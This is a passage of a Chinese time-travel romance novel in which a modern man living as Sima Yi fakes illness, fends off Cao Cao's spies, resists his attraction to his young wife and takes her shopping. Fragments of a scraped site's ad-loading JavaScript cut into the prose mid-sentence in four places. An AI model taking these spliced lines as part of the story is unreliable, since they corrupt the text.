司马毅被推得一个踉跄,后背触碰到尽处冰冷的墙垣,又是一阵微寒,司马毅彻底清醒过来。 司马毅看了看面前周身仿佛被冷漠、提防萦绕的少女,又看了看自己因为失去少女还没反应过来、依旧环成圆形的双臂。 双臂间还残留着少女身上的温软,叫自己觉得沉溺、流连。 司马毅简直不敢想象,自己刚才竟是情不自禁将少女抱了个满怀。并且在拥抱少女期间,心猿意马、胸腔若擂鼓作响。自己这样,哪里是只想要安慰少女,分明是生出了一些不该有的龌蹉思想。 他越看少女,越加鄙夷自己。自己就是再疼爱年纪小、若妹妹一般的少女,感激少女为了保全自己不惜杀人,也不该生出一些悖逆道德伦常的想法。 少女在未来还是个未成年啊。自己一个堂堂男子汉、大丈夫,怎么能染指未成年的小姑娘?这简直是丧了良心,要是自己一个把持不住,诱骗少女失身、错付了真心,这在未来更是违反犯罪的事情。 可自己若是沉下心来愿意等少女长大呢? 司马毅心里有一些奇怪的念头正在生根发芽。 但是很快,他便否定了自己。即使自己苦心积虑地等待少女长大,等少女到十八芳华,未来成年的岁数。他也是从一开始就目的不纯、心思不正。 为了不让自己成为一个未来人人唾弃、连自己都瞧不起自己的人,司马毅更加坚定,他还是要找机会赶紧离开司马府、离开许都,摒弃司马懿的身份。 须臾之间,司马毅有思绪万千。张春华则只是沉静、窘迫了片刻,便十分不自然地开口:“你、你别误会,我并非有心冒犯,也绝非是想要主动投怀送抱,只、只是一时感伤所致,再加之刚刚梦醒,思绪不清……” 看来少女对自己本是没有任何想法的。她主动抱自己只是因为心里难过、思绪不清,需要一个依靠罢了。 或许她为自己做了那么多、对自己还算不错,也只是因为把自己当作原本的司马懿,以为嫁给了自己。 古代女子不都是自嫁人后就对自己夫婿一心一意的吗?根本不需要未来所谓的什么喜爱和感情。 司马毅面上的神 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色有一瞬的失落,而后又有一瞬的释然,装作无碍地笑起来,欣然回答:“我明白。我也只是因为你哭得太伤心才把你喊起来,抱了抱你,你也别误会,我绝不是登徒子。” 张春华闻言轻“嗯”。 她自然知晓司马毅不是登徒子。若他是的话,以他们的夫妇关系,根本无须任何心计和手段,只要他想,他随时都可以得到自己。 甚至,他不仅不是登徒子,他自失忆苏醒后,打从一开始就说了,并不认同自己就是他夫人的这件事。 他们只是莫名其妙地拜了天地、有了夫妇关系,被迫睡在一张榻上,没有任何其他接触的陌生人罢了。 张春华想着想着,心里竟也不由空落落起来。 她虽说不上喜欢司马懿,可打从一开始除了遵循长辈的安排、旧日的婚约,就是想要与自己记忆中那个意气风发的少年郎共结连理。 可惜,少年郎变了,也并不想要自己。 张春华嗫嚅了一阵,随之又道:“既然夜已深了,我们还是早些睡吧。” 说着,她率先躺了下去,盖好被衾,翻身背对着司马毅,沉默了半晌,接着道:“还是要多谢你叫醒了梦魇中的我。” 司马毅“嗯”了一声,随之也躺了下去,先是转头静静地看了张春华的背影一会,而后也翻过身,背对着张春华。 他问张春华,“其实,你也很害怕对吗?” 张春华愣了愣,先是没明白他在说什么,等明白他在说杀人夺命的事情,迟疑着还是坦白回答:“有一点。” 司马毅安慰她,“都会过去的。” 张春华依旧只是轻“嗯”。 司马毅又道:“既然我们开始有心排挤曹操派遣混入司马府的细作,那么等细作清理得差不多,是不是也就不必提心吊胆地过日子?” 张春华想了想,回答:“不好说。即使是大致清理了府内的细作,也难保不会有漏网之鱼。纵然一条不剩,在这司马府之外,又何尝没有曹操的眼线?除非有一日,曹操忙于他事,不再在意你。” “肯定会有那么一日的。”司马毅坚定道,还开自己玩笑,“我又不是什么香饽饽,犯不着让曹操念念不忘。除了我,这天下多得是青年才俊。曹操除了要广揽人才,也还是要行军、打天下的。” “是吧。”张春华兴趣缺缺。 司马毅却是兴致高昂起来,继续询问:“春华,若是有一日,你得了自由,能离开司马府、离开许都,你想去哪里?” 张春华未作多想,“回家吧。” “也是,若是能回家该多好。”司马毅有些怅然地重复。若是他也能回到未来就好了,老妈让他相亲他也不会拒绝,不过,“若是不能立马就回家,在回家之前,我一定是要在这个时代四处看一看的。” “就先去荆襄好了。”看看他作为司马懿这个身份,那位与他命定是对手的诸葛亮。 荆襄?张春华在睡过去之前,依稀记住了这个地方。 16. 第十六章 张春华嫁来许都司马府,转眼已有一年余。 建安九年跨入建安十年的这年年节,父亲张汪自粟邑县再次寄来家书。 书信的内容除了言说自己一切都好,还叮嘱张春华要好生照顾自己,以及委婉地表达,这夫妻之间,除了最初的结缡之情,要想长久地相处下去,还是得有子嗣从中调和。 张春华既是正妻,便该早日诞下嫡子。若是迟迟没有消息,只怕郎君的心思易散,若寻了其他女子纳为如夫人,怕是会影响正妻的地位与宠爱。 张春华坐在廊庑下,读完这封家书,只觉得又羞又恼。什么嘛,她马上才十七岁,哪有十七岁的女儿家便被父亲叮嘱着要生娃娃的? 就算她要生,也要她的夫君愿意才行。 张春华下意识地望向不远处跟在横槊身后的司马毅。只因为横槊喊了一声,“公子新年安康,一岁初始,该挂桃符,趋吉避凶才是。” 司马毅便兴致勃勃地跟着横槊,道他也要去。就算他不能自轮椅上站起来、亲自挂,能看着横槊挂、感受这新年的氛围也很不错。 他贪玩、满眼只有热闹的性子哪里会想过要同张春华生一个孩子?莫说他们都没有做好为人父母的准备,就是在夫妻之事上,她与司马毅至今没有越过那中间阻挡的被衾一步。 自己尚是完璧,司马毅也从未明里或者暗里地表示要同自己圆房。乃至每次稍微靠近一些,司马毅都会受惊般地弹开,并且向自己强调,他绝非登徒子。 自己更不会主动邀约司马毅。 他终究与自己记忆中的翩翩少年,有所不同。 张春华将家书重新折叠好,塞回外封之中,找了袖笼间一个极其牢靠、不会轻易滑落之地,把家书一遍又一遍地检查放好。 这封家书定是不能叫司马毅看见的。就连韵竹,张春华也企图瞒着她。 那边韵竹扶着横槊,横槊已经攀着木梯,爬至门沿的高处,将一块写着“神荼”的桃木牌,挂在左边的门上。 司马毅坐在其下,嘴里不停地嘟囔:“我也想挂……凭什么我不能挂,这可是新年诶,从前在家贴对联,可都是我的事情。” 他满面不服的模样,叫张春华更觉得,他本身还是个孩子,要生什么孩子? 张春华自廊庑下的苇席上起身,朝着三人所在的方向,也走过去。 她刚在司马毅身旁站定,司马毅便收敛幼稚的神色,转眸向她望来,微笑询问:“看完你父亲寄来的家书了?” 张春华坦然地点了点头。 司马毅顺其自然地又道:“信里说了什么,是不是又让你要好好照顾自己?”上次,那封因大雨而被迫延迟打开的家书里,就写着这样的话。 是一个父亲对女儿最殷切、朴质的希望。也是天下所有父母对子女都同样的希望。 司马毅在未来,他老爸、老妈也常发诸如此类的短信。故而,不用想都知道。 张春华闻言,面上却是有一瞬的尴尬,原本白净的秀面先是微红了红,又满是心虚地囫囵回答:“差不多,也没有什么太多其他的,还说他自己很好之类。” 司马毅相信地颔首,说道:“他老人家自己好就行。” 张春华跟着也点头。 就在此时,横槊要从木梯上下来,换个位置,重新爬上去,再将另一块写着“郁垒”的桃符,挂在右边与左边对齐的门上位置。 横槊下来的时候,司马毅注意力顷刻转移,双眸发亮地紧盯着那块还没被挂上的“郁垒”桃符。即使明知不可能,还是痴心妄想地小声开口:“要不那剩下的这块,让我来挂如何?” 横槊听了,满目的不可置信,望向司马毅,好像他在说什么胡话一般,当即拒绝,“公子,还是算了吧。你忘了之前你鲁莽地站起来,少夫人她……” 横槊不敢直接重提张春华手刃侍女晚雪的事情。怯怯地瞥了张春华一眼,话锋一转,放弃挣扎般地强硬道:“反正小的不敢做公子的主。公子若是实在想挂的话,就问少夫人,只要少夫人同意,小的立马将桃符交给公子。” 此话一出,司马毅也是望向张春华,无辜而祈求地眨了眨眼。 张春华觉得好笑,故意装作不明白地也朝着司马毅眨眼。 司马毅见张春华装傻,顿时气恼。面上露出羞愤来,但羞愤不及一瞬,立马又变成讨好。 他轻扯了扯张春华的袖袂,柔声轻唤:“春华……” 那细微略带些撒娇的嗓音听得在旁边一直没有开口的韵竹一阵恶寒。韵竹缩了缩脖子,发出抱怨声:“公子,你好吓人啊。” 她还从来没见过男子向女子撒娇的。 司马毅不忿地瞋了韵竹一眼。转眸,变脸若翻书一般,既快又流利,恢复讨好的神色,继续与张春华说道:“春华你看,眼下院子里也没有其他人,即便是寻常洒扫的仆役也都被你换成了信得过的。我就站起来这一下,你看可以吗?” “若是你不同意,也就算了。”不等张春华回答,司马毅更以退为进,一副赤忱、听话的模样,坚定地向张春华表明自己的决心。 张春华忍俊不禁,更加觉得司马毅是真的很幼稚。 她沉吟了片刻,随之更一点一点地仔细环顾四周,到确定没有其他人在,方才叹了口气,无奈地笑道:“罢了,横槊,你就把桃符给他吧。” 横槊更是瞠目结舌地望向张春华。 张春华解释道:“你家公子他确实也有很久没在外面站起来过,只每晚睡前那一会,怕是腿脚都纤细、不灵便了。既然眼下细作已经被我们清除得差不多,便纵容他一次。” “只此一次。”张春华对着司马毅强调。 司马毅点头如捣蒜,笑靥如花地张开双手去向横槊讨要那块“郁垒”的桃符。横槊没有办法,只能将桃符交到他手中。 他拿着桃符,扶着轮椅两侧的扶手,缓慢而郑重地站起来。到彻底摆脱轮椅,呼吸了一口高一些地方的新鲜空气,只觉得如新生一般。 司马毅灵活且敏捷地立马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 往木梯新放置的位置上爬去。 横槊和韵竹都在下面帮他扶着木梯。 司马毅专心致志,横槊百无聊赖地闲聊道:“说来,公子,我今日出府归来,听外面的人说,曹司空领兵去攻打邺城了。好像已经打了下来,今岁就留在邺城过年?” “邺城?”司马毅漫不经心地重复,不太记得这是个什么地方。 张春华向他解释:“是故袁绍袁公的大本营所在。袁公官渡之战败后,抑郁而亡,其妻子儿女依旧留守邺城。” “这个邺城啊。”司马毅突然又回忆起来,一边极其认真地继续挂桃符,一边波澜不惊地说着,“那岂不是曹操攻下了邺城,就相当于差不多完全清除了袁绍残存的势力?” “不仅如此,就那位曹丕曹公子,前岁来我们府中,试探我是不是真染病的那位,在邺城还会有一番艳遇呢。”司马毅玩味地笑起来。 他可记得曹丕在邺城袁府遇到了他命定的夫人,故袁绍二子袁熙的内妇,甄宓甄大美人。那可是致使曹植写下《洛神赋》的绝世美女。 张春华、韵竹和横槊三人其实不太明白司马毅后面的那句。张春华忍着没问,韵竹则是不愿忍耐地直接道:“所以,公子,艳遇是什么意思?” 她还从未听闻过这个辞藻。好奇地向自家夫人投去询问的目光,自家夫人也是茫然地摇了摇头。 司马毅将将把“郁垒”桃符挂好,拍了拍手,转身朝下方望过来,笑意盎然地解释:“就是君子遇淑女,得成佳话的意思。” “公子的意思是曹公子要娶妻了?”横槊不敢相信地总结、反问。这还没有发生的事情,自家公子怎么会知晓? 司马毅故弄玄虚地还摇头晃脑,更道:“不仅如此,从今日之后曹公都会主居邺城。自邺城向四面八方开始攻城略地。” 是不是也就意味着,曹操快要无暇管顾自己了? 司马毅更加高兴起来。 横槊则还是表情茫然。 张春华笑道:“这倒是理所当然的事情,邺城地大物博、物阜民丰,即使比于作为都城的许昌,也不知繁盛了多少。曹公为了将来,自是愿意将大本营搬到邺城去。” “春华正解。”司马毅蹦跳着从木梯上下来,落地“咚”得一声,震耳欲聋。 韵竹嫌弃地捂了捂耳朵。 司马毅站到张春华面前,伸出一只攥成拳头的手,告诉张春华,“春华,把手伸出来,我有礼物要给你。” 张春华不明所以地伸出左手。 司马毅把自己的拳头放上去,而后缓缓地张开,有什么微小、冰凉但又沉甸甸的东西,落在自己掌心。 待司马毅的五指离开,张春华垂眸瞥见一颗豆大的金铢,璀璨的光芒熠熠生辉。 张春华更加不明白地看向司马毅。 司马毅哑然失笑道:“春华,新年安康。这是压岁钱,祝你新的一岁,诸事顺意、福寿绵长。” 以及,离开了自己,会有一个美满的归宿。 17. 第十七章 自打知晓曹操离开许都前往邺城,并且留在邺城过年的消息,司马毅便常常派遣横槊打探后续。 听闻司马毅要了解曹操的动向,横槊一派感动非常的模样,噙着泪道:“公子,你总算想起来要问小的这些了。” 于是,横槊拿了一叠情报直接摆放到司马毅面前,更坚定回答:“后面的消息,小的调查到,一定会立马呈报给公子。” 司马毅不明所以地打开那一叠情报来看。 每封都有具体的时间、事件: 建安九年春正,曹操率兵渡黄河,断淇水,引入白沟,乃为粮道。 建安九年夏四月,曹操留曹洪攻邺,亲往毛城破尹楷。 建安九年夏七月,袁尚回援邺城,欲向曹操投降,曹操不允,追袁尚进深山,得印绶,入邺城。 …… 几乎从自己代替了原本的司马懿以后,这里有一年多以来,曹操所有的行军路线和作战结果。 司马毅举着手上的情报,不可置信地询问横槊,“这些是什么,为什么你已经有了过往所有的消息?” 难道是…… 还不及司马毅揣测出来,横槊已是慨然地回答:“公子忘记了吗?公子从前一直吩咐小的联系外面收集曹司空的消息?不仅是曹司空的,若是公子还要其他的,就连荆襄刘表、刘备,与东吴孙权的也全有。” “我让你做的?”司马毅瞠目结舌。 司马毅知晓,这必然不是真正的自己让横槊做的。而是原本那个司马懿。 司马懿到底是历史上的司马懿,即使还没有出仕,就已经开始纵观天下大局。他甚至知晓,要观察、了解的不仅是距离自己最近的曹操,还有遥远的刘备、刘表和孙权。 这份心计、谋略和远见,司马毅简直不敢想。司马毅也总算明白为什么历史上的司马懿会成为熬死所有大人物、最终获得胜利的存在。 而自己不过是沾了他的光,能得到这些现成的情报罢了。 司马懿由此,不禁奢望,若是已经离开的司马懿有灵,瞧见自己是这样的一个废物,就赶快回到这具身体里,把自己送回未来。 若是他瞧不见,也回不来,那就还请谅解自己的软弱和无能。自己大概是不能承继他的志向,并不会利用这些情报,建功立业,只是想借此机会逃离罢了。 司马毅分析着这些情报,并且依据每一段时间的更新,开始想要试探曹操到底还在不在派人监视自己。 建安十年春正,曹操灭已故袁绍长子袁谭,平定冀州、青州。 建安十年秋八月,曹操北征乌桓,继续追捕袁绍剩余二子,袁熙和袁尚。 九月的时候,秋风萧瑟,寒意渐深。司马毅坐在寝居的门首处,眺望庭院中,右下角花圃间的金桂与一丛菊英。 金桂虽还是瘦削的样子,但狭长的枝桠上已开出零星的几朵明黄小花。挟着淡淡的芬芳,飘香悠远。 菊英也都盛开了,除了明媚的金黄、浅白,还有妖冶的粉红、深紫。 韵竹正拿着剪子与托盘从寝居中出来,路过司马毅身旁,无奈地说了句:“公子你怎么总是坐在门边,遮蔽日光不说,还十分挡路。” 司马毅闻言,抬眸笑瞋近处的韵竹,故作严肃地责备她,“谁叫你这般不分尊卑与我说话的?” 不是都说古代人的等级森严,下人是绝不敢冒犯主家的?可司马毅瞧着,韵竹和横槊就不是。尤其是韵竹。 韵竹听了,回眸对司马毅做了个鬼脸,却是没答。 横槊在屋内不远处,故意嗔怪地替韵竹作答:“还不是公子你一点威严都没有。不仅不苛责我们这些做下人的,还常骄纵。这不就养得韵竹和小的不分尊卑。” 司马毅沉吟着,觉得也是。他本就是未来人,信奉人人平等,即使贪图享乐、愿意躲懒,欣然地接受横槊与韵竹在某些方面的伺候,但更多还是将他们当作朋友,而非奴仆。 司马毅朝着韵竹的背影,扯着嗓子又在问:“说来韵竹,你拿着剪子要去做什么?不陪春华读书了?” 司马毅顺便还回眸向室内更远处望了一眼。屏风前的茶案边,张春华一身橘青的裙裾,单手支颐,专心致志地在读书。 因为被遮挡了大半光线,她秀面上的明暗对比更加强烈。双眸是漆黑幽邃的,但鼻尖与樱唇隐隐透着白光、晶莹明亮。 尤其是那若琉璃樱桃一般的粉唇,湿润、细腻,叫人想要把玩、抚触,乃至是品尝。 但司马毅不敢,更加唾弃自己。他急忙收回目光,重新望向前方渐渐走远的韵竹的背影。 韵竹回答他道:“夫人叫我去剪些菊花、桂枝来。可以搭配着在放在瓷瓶中,赏心悦目。又可以将挂花晒干,放进荷包里,做成香囊。” 香囊吗?司马毅从前只在电视上和小说中见过。 他还来不及开口,韵竹又道:“说来我们夫人在粟邑县张府闺房的庭院中也种了一棵桂树。听夫人将,那桂树幼年羸弱,还是公子你说情,夫人才把它留下来的。” 与原本的司马懿有关的桂树吗? 司马毅转眸,再次望向室内,意味不明地询问:“春华,你喜欢金桂吗?” 张春华头也不抬地平淡回答:“喜欢。” “是因为桂树本身,还是因为……”司马毅欲言又止着,最终没有把后一个选项说出来,只是话锋一转,嬉笑道,“既然你要做香囊的话,给我也做一个吧?” 都说古代的女子送男子香囊的意思不一般。 张春华依旧波澜不惊,说着:“好。” 司马毅随之又道:“不过要做香囊的话,是不是要挑选适合的布匹?我们去街市上逛逛,买些布料回来?” 张春华还没答,韵竹站在桂树下,又在抢先道:“哪里需要这么麻烦,随便寻些剩布都行。再说家中库房应当还有适合的布料。” 司马毅再次瞋向韵竹,只觉得她十分扫兴。 司马毅对着屋内,急切地又说:“我是觉得库房中的布料都有些旧了,并不时兴。况且,要给我做香囊的话,香囊的布料不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是该由我亲自挑选吗?” 韵竹还在接话,“公子你的要求还挺多。” 司马毅直对着韵竹的背影挥手、踢脚。若是能隔空的话,他已经痛揍了韵竹一顿。 他继续朝向室内,询问:“春华,你觉得呢?” 张春华沉默了好久,久到司马毅快要失去希望,面上露出怅然来。张春华温婉的嗓音才缓缓响起,“倒也不是没有道理。” “那春华你是同意了?”司马毅喜笑颜开。这下,更是直接调转了轮椅,整个人面向屋室内。 室内的张春华也总算抬眸,转头朝司马毅望来,忍俊不禁地颔首。 司马毅拍掌大叫道:“好诶!那春华,我们说走就走,现在就去?” 他说着,先是自己推自己到屋室内。而后等完全进了屋子,一把撇开轮椅,站了起来,装作一瘸一拐地蹒跚到张春华面前。 张春华惊讶地望他。 司马毅又道:“我今日想去市集上走走,不坐轮椅,就跛足,既能叫曹操的眼线发现不了我装病,也能满足我自己的愿望。” 他朝张春华伸出了手。 张春华懵里懵懂地看着他,像是一时有些没明白过来他在说什么。 正当张春华迟疑间,司马毅笑意更甚,将掌心更往前递了递,朝张春华使眼色,状若在说,走啊,快啊,春华。 张春华被他的笑意感染,也忍不住弯了弯眼睫。但她还是迟疑了良久才缓缓地把手轻放在司马毅的掌心。 她的柔荑还没有落稳,司马毅便一把抓住,拉着她站起身来,牵着她要往屋外去。 司马毅的掌心宽大,又灼热,张春华有些不自在。 可司马毅仿若完全没有感觉,不仅牵着她,而且越抓越紧,逼迫她的掌心不得不与他的紧贴。 横槊和韵竹异口同声地惊讶:“就这样着急说走便要走吗?” 司马毅高兴道:“当然。” 横槊赶忙追上他们,“公子等等我。”韵竹也立马把手中的剪子和托盘摆到一边,接声,“也等等我,我还没有洗手呢,算了,擦擦也行。” 张春华望着司马毅一往无前、兴致高昂的背影,突然忍不住地笑着询问:“你这样汲汲地要领着我去街市上,还不坐轮椅,该不会到时激动起来完全忘记自己在装病,大步流星、昂首阔步吧?” 司马毅的背影随之一顿。 他轻咳了咳,而后有些心虚地回答:“怎么会呢?我一定会一直记得自己是个患风痹病之人。” 除非他觉得时机成熟,想要试探会不会被曹操的人发现。 如果这一次出去,日后的一段时间,都没有曹操的人来找自己的麻烦。那他也正好把这一次当作最后一次好好带张春华玩耍、作乐。 “春华,除了布匹,你还想买点其他的东西吗?”司马毅认真询问。 张春华仔细想了想,回答:“我也说不好,可以到处都看看,若是有好玩新奇的物什,买一些也未尝不可。有可以远寄的便寄一些去粟邑县。” 18. 第十八章 自出了府门,上马车之前,司马毅环顾四周,无论是自家屋檐,还是对街商贩,全都仔细观察。除了偶尔有一两人投来注视的目光,大多数人形色如常。 待上了马车后,司马毅又先留意了片刻有没有人跟上来,见几无同道,又都不是熟悉的面孔,便没再掀开车帘。 而是悠然地坐在马车内,望张春华出神。 眼见张春华坐姿端正,背脊挺直,面容平静,好似一座高洁的菩萨雕像,忍俊不禁道:“春华你之前出府去集市逛过吗?” 张春华闻言,诚然地摇摇头,回答:“未曾。” “是因为不想出门,还是觉得人生地不熟?”司马毅不依不饶地继续询问。 张春华沉吟了片刻,还未作答,韵竹照常抢先道:“还不是因为公子身子不适,夫人要留在府中照顾公子。即使明知公子……” 韵竹指了指司马毅的腿,告知马车内的其他三人意会,不好直接说出来,以防让车夫也知晓,继续又道:“也是怕公子没个分寸,一不小心有什么错漏,害人害己。” 韵竹还故意做出对司马毅嫌弃的神情。 司马毅并未生气,而是心疼地仍旧注视着坐在自己近处的张春华,良久,微微叹息道:“想来,确实是我耽误了春华你许多。若是能重来一次,春华你一定不想再嫁过来吧?” “倘若有机会能离开我,春华你可要好好睁大眼睛,重新寻个良善可靠的男子托付。”司马毅说着说着,自己先努力假装释然地笑起来。 尽管他的笑容实在有几分难看。 张春华听了,蔚为不解地转眸回望司马毅,凝视了半晌,没看出什么异常来,只秀眉微蹙,无奈解释:“若是重来一次,只要婚约照旧,我还是会嫁过来。” 又或许即使没有婚约,只要不知晓司马懿会失忆、像变了一个人,自己还将他当作记忆中那个翩翩少年,自己也是愿意嫁给他的。 张春华念及此处,思绪一时跑远,恍若回到了许多年前,还小的时候,在粟邑县张府,是如何遇见那个少年的。 司马毅见张春华怔怔出神,没忍住又唤她道:“春华,你还愿意嫁过来只是因为婚约,还是因为觉得我也还行?” 司马毅明明是语气平淡地问着,但表情郑重、呼吸微滞,好像有些不愿让其他人察觉出来的紧张。 韵竹忍不住嗔怪插话:“公子,你还真……自视甚高,哈哈。不过,即便没有婚约,我猜我们夫人也是愿意嫁给公子的。” 韵竹也知晓张春华幼年与司马毅的事。虽然只是惊鸿一瞥,但对于不擅交际的闺阁女子来说,足以托付终生。 司马毅面上有抑制不住漾开的笑意,但又隐约觉得不太对,笑意有几分阻滞。 张春华见状,先瞋了韵竹一眼,而后不慌不忙地解释:“比起其他人,至少我见过仲达你一面,无论容貌、品行都还看得过去,自然也就愿意嫁。要知晓这比随便寻个见都没见过的人嫁了要好太多。” 只是比盲婚哑嫁好一些? 更何况,张春华所谓的见过一面,见得根本不是现在的自己,而是原本的司马懿。 司马毅的面上露出羞恼来,轻哼了一声,撇过脸去,不再与众人说话。 就算他要走了,也无法容忍张春华完全不在意自己。 马车车轮骨碌骨碌地前行着,到了集市之前,横槊吩咐车夫将马车驾到一旁,就在外面等候,待他们逛完市集,再来接他们回府。 随后,四人簇拥着,往集市中而去。 司马毅装作跛足,横槊本想搀扶他,但他毅然决然地拒绝了,换而到张春华身旁,与张春华说道:“春华,劳烦你扶我一程。” 张春华懵里懵懂地将柔荑搀上他的臂弯。 司马毅露出满意的笑容,一边倚着张春华缓慢前行,一边又在环顾四周是否有人格外认真地注意自己。 四人先去了布庄,锦绣轩。 内里的布料琳琅满目,从颜色到材质,都让四人应接不暇。 韵竹已经率先跑上前,一会拿起一匹素色暗纹的绢纱,一会又捧着一节绯红的绸缎,不停地询问:“夫人,这个好看吗?若是做成裙裳的话,一定精美非常。” 张春华顺着韵竹的话,笑道:“好看,都好看。若是韵竹你有喜欢的话,我们也可以挑一两匹买下来。恰好来许都一年余,你很久没做新衣裳了。” 韵竹顿时喜笑颜开,羞赧地向张春华投来感激的目光。 于是,横槊同样可怜巴巴地望向司马毅。 司马毅哑然失笑,“也给我们横槊横小郎君买。你与韵竹慢慢挑选去吧,让春华陪着我,我可要好好挑选几匹布,让春华给我做香囊。” “几匹布?”张春华不可置信,美眸微瞠,樱唇略张。 司马毅笑意更甚,也不安抚她,直接拉着她往布匹更多的另一边去了。 司马毅先是瞧见一块粉色绣了桃蕊的细纱,拿起来,在张春华面前比对了比对,继而说道:“春华,你觉得这块料子如何?” 张春华认真评价:“好看是好看,但未免艳丽了些,并不适合给男子做香囊,再加之纱质,虽然更加透香,可是不宜久戴,稍微刮蹭便会跑纱走丝。” “谁说我要买这块布料来做香囊了?”司马毅笑嗔张春华,转而对着店家喊,“劳烦,帮我将这块布料包起来。” “那你是要做什么?”张春华不解。 司马毅认真回答:“自然是给你做新衣裳啊。我常看你穿一些橘色、暗色,鲜少穿粉红、明黄。可像你这般年纪不是正该穿得明艳吗?” 像他在未来的小表妹就总是喜欢粉色的东西,无论是裙子还是裤子、袜子、鞋子。 “我……”张春华迟疑了片刻,说道,“粉色不搁脏,又太娇嫩了些,我除了幼时,没怎么再穿过。怕是……” 可是,她拒绝的话没有说完,眼瞧着司马毅兴致勃勃替她挑选新衣,满是雀跃的样子,张春华不忍辜负他的好意。 也就没再拒绝。 然后,司马毅得寸进尺,还给她挑选了明黄的锦缎、藕荷色的细绢,以及零星的几匹橙红、竹青的软绸。 “买这么多做什么?”张春华又在惊讶,“我穿不下这许多衣裳。之前陪嫁的新衣,还有好些没穿呢。” 司马毅不以为然,回答:“你说韵竹很久没有做新衣了,你不也是?再说,哪有女孩子会嫌弃自己衣服多的?我表妹就总是说她的衣柜里永远缺一件合适的衣物。” “表妹?”张春华之前,倒从未听司马毅提过。 司马毅一怔,恍然意识到自己说漏了嘴,囫囵地糊弄过去,“就是我母亲娘家妹妹的女儿罢了。幼年见过一两面,早就不来往了。” “总之,你别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 管这些,我们有钱,想买多少布匹都可以,只要我喜欢,或者你喜欢,都可以买回家去。”司马毅郑重道。 张春华无奈叹息,“你别再给我选了,自己也挑一些。不是要做香囊吗,顺便也可以做几件新衣裳。” 司马毅觉得张春华说得有道理,转而给自己挑选起来。 他一共要了三匹素娟、两匹平布,多是一些蓝灰、鸩羽的灰暗色。 张春华又不太明白地说道:“这些料子都算不上舒适、名贵,虽然也能穿,但是衬仲达你普通了些。颜色也都太暗淡,与仲达你如今习惯穿的那些完全不一样。” 司马毅如今的衣服多是一些明艳的靛蓝、深青、明灰。 司马毅面对张春华的质疑,心虚地摸了摸鼻子,而后模棱两可地解释:“也不就是要按旧的习惯添置新衣。你说的那些舒适、名贵的料子,我已经有很多。就买些普通的,偶尔外出、远游穿上,弄坏、弄脏了也不心疼。” 司马毅是想好,自己若是要外出流浪,在乱世之中,定是不能满身绫罗绸缎,万一有山匪、盗贼盯上自己,自己又不会武功,岂不是要死于非命? 还是提前准备些普通的料子好。 张春华听了他的解释,也没在追问。 倒是司马毅自己笑说:“不过你替我做香囊的布料一定要是上好的锦缎。我先前就瞧上了那块雪青的紫绸。再绣上一些梅兰竹菊,定是既骚气又好看。” “骚气?”张春华不太理解这个词意。 司马毅也没解释,继续又道:“不过一个肯定不够,再扯一块雾蓝和竹青的料子吧,也都给我做成香囊。颜色越多,我越好搭配衣裳。或者,就用你做衣物剩下的那些料子也行。” 张春华无言以对。 他们在布庄蹉跎了一个多时辰,到从布庄出来,布庄的店家好心地命伙计将众多的布匹提前搬到司马家的马车上。 韵竹觉得腿累、腹饿,望着一家甜糕饼说想吃,怕司马毅不愿意给她买,还扬言道自家夫人张春华也喜欢。 横槊却是不敢苟同,“要说这来到集市,吃饭、歇脚,自然要去拐角处的王婆汤饼家,吃一碗鲜肉汤饼。甜糕有什么好吃的?” “鲜肉汤饼?”韵竹顿时双目泛光,但迟疑地又道,“可是,不论汤饼,还是甜糕,我都想吃。” “夫人……”韵竹向张春华撒娇。 张春华忍俊不禁道:“好,买,都买。” “那小的去给夫人和韵竹买甜糕,公子领她们先去王婆汤饼的摊上歇息?”横槊主动承担道。 司马毅则是急忙阻止,“别,让我去买甜糕。” “为何啊?”横槊不解。 司马毅冥思苦想,作答:“因、因为你家公子我失忆了,不记得什么王婆汤饼在哪了。你领她们去吧,我去买甜糕。” 尽管,那王婆汤饼的招牌已经遥遥可见,司马毅还是如此说着,推搡着三人往前,不容他们质疑自己。 横槊觉得也有道理,答应了,不忘提醒司马毅,“那公子你注意点,毕竟,嗯,你腿脚不便。” 司马毅明白横槊在提醒自己什么,他状若了然地挥手,嫌弃横槊话太多,而后一瘸一拐地向另一边的甜糕铺子走去。 到确定三人不再注意自己,司马毅又在环顾四周,见没有特殊情状,突然放平了跛足,如常地行走起来。 19. 第十九章 其实,司马毅只敢如常行走一小段距离。 他信步到甜糕铺子前,还刻意假装腿足突然疼痛,闷哼了一声,吸引了周围些许过路者的目光,而后恢复跛足。 甜糕铺子的老板,是个热心的中年妇人,见状,关切地询问:“公子可还好?” 司马毅颔首,装作无奈,苦笑作答:“只是旧疾复发。没曾想这风痹病治了这么久,纵然有所好转,还是无法彻底恢复。” 老板娘心疼地安慰他,“这也是没办法的事。只是既然有所好转,长久地治疗下去,公子一定能更加康健。” 司马毅听了,仿若真的被老板娘安慰到,感激莫名地粲然一笑,随后便说:“老板娘,给我四块甜糕。” 老板娘一声“好嘞”,开始勤勤恳恳地装甜糕,用桑皮纸打包,交给司马毅。 司马毅其实都想好了,倘若今日自己如常行走的事情真的被曹操发现,曹操派人前来质问,自己就按照如此言说,腿足恢复了一些,但还没有完全如常。不信,他们可以去询问今日街市上的人。 司马毅捧着甜糕去寻已经点好鲜肉汤饼的张春华、韵竹和横槊三人。 三人在外饱餐了一顿,直到日薄西山、暮色四合,才依依不舍地启程回司马府。 傍晚的天际一片红橙黄紫,司马毅伸手,殷勤地帮扶张春华走上马车,并且笑着叮嘱:“春华,你回去可得快点帮我缝制香囊才是。” 韵竹不解,反问:“公子急什么?这采摘桂花,洗净、晾干还需要不少时间呢。” 司马毅则是不管不顾地回答:“总之,我要尽快地用上春华给我缝制的香囊。况且秋日短暂,得赶紧趁着桂花还多快做才行。” 韵竹满面的嗔怪和不理解。 张春华闻言,只温和地笑道:“好,我知晓了,回去后会努力赶工的。” 司马毅便更是开心,连自己登上马车都是连蹦带跳的。 横槊看得眼皮直突突,不由提醒司马毅,“公子,你可仔细、小心些。” 